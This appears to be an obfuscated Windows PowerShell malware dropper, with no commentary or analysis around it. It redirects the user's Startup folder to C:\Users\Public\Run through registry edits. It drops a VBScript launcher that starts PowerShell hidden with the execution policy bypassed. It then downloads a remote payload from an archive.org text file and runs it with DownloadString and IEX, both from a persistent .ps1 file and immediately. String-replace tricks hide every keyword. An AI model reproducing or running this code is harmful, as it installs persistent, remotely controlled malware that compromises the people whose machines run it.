$FVYTFYTFYFYFYFYFGY="C:\UsTRYCTUVYIBUCRYCTUVYIBTCRYTUYic\Run".Replace("TRYCTUVYIBUCRYCTUVYIBTCRYTUY","ers\Publ")
$YGUYGNUHYGUYGYUGYGUYGYUG = "Cr######################ory".Replace("######################","eateDirect")
[system.io.directory]::$YGUYGNUHYGUYGYUGYGUYGYUG($FVYTFYTFYFYFYFYFGY)
start-sleep -s 5
$HIUHIUHJIUHUYUUIHYIUIUHI = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"
$GVFHTFYUGRTYUGYFTFYYUH= "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
$JYHGYUGUYGFYTFDTRDTRDFTR = "C:\Us--------------c\Run".Replace("--------------","ers\Publi")
$BFYHGTFYHFHUYGYU8YUYYUYG ="C------------blic\Run".Replace("------------",":\Users\Pu")

Set-ItemProperty -Path $HIUHIUHJIUHUYUUIHYIUIUHI -Name "Startup" -Value $JYHGYUGUYGFYTFDTRDTRDFTR;
Set-ItemProperty -Path $GVFHTFYUGRTYUGYFTFYYUH -Name "Startup" -Value $BFYHGTFYHFHUYGYU8YUYYUYG;
start-sleep -s 5
$Content = @'
Dim HBANKERS
Set HBANKERS= CreateObject("WScript.Sh"&"ell")
HHHHHHHHHHHHHHHHHHHHHHH=chr(80) +Chr(79) & Chr(87)
BBBBBBBBBBBBBBBBBBBBBBBB=Chr(69) & "r" & Chr(83) & Chr(72) & Chr(69) & Chr(76)
AAAAAAAAAAAAAAAAAAAAAAA="L -Exe"&"cutio"&"nPol"&"icy "
NNNNNNNNNNNNNNNNNNNNNNNNN = "Byp"&"ass &"
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK ="'C:\Use"&"rs\Publi"&"c"
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE = "\++++++++++++++++++++.ps1' "
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR = HHHHHHHHHHHHHHHHHHHHHHH+BBBBBBBBBBBBBBBBBBBBBBBB+AAAAAAAAAAAAAAAAAAAAAAA+NNNNNNNNNNNNNNNNNNNNNNNNN++KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK+EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE+""
HBANKERS.Run RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR,0
'@
Set-Content -Path C:\Users\Public\Run\Run.vbs -Value $Content

start-sleep -s 5
$Content = @'
$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://ia601406.us.archive.org/8/items/server-548876554433-765434/Server_548876554433_765434.txt';$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');
'@
Set-Content -Path C:\Users\Public\++++++++++++++++++++.ps1 -Value $Content
start-sleep -s 5
$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://ia601406.us.archive.org/8/items/server-548876554433-765434/Server_548876554433_765434.txt';
$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S')
$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');
&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');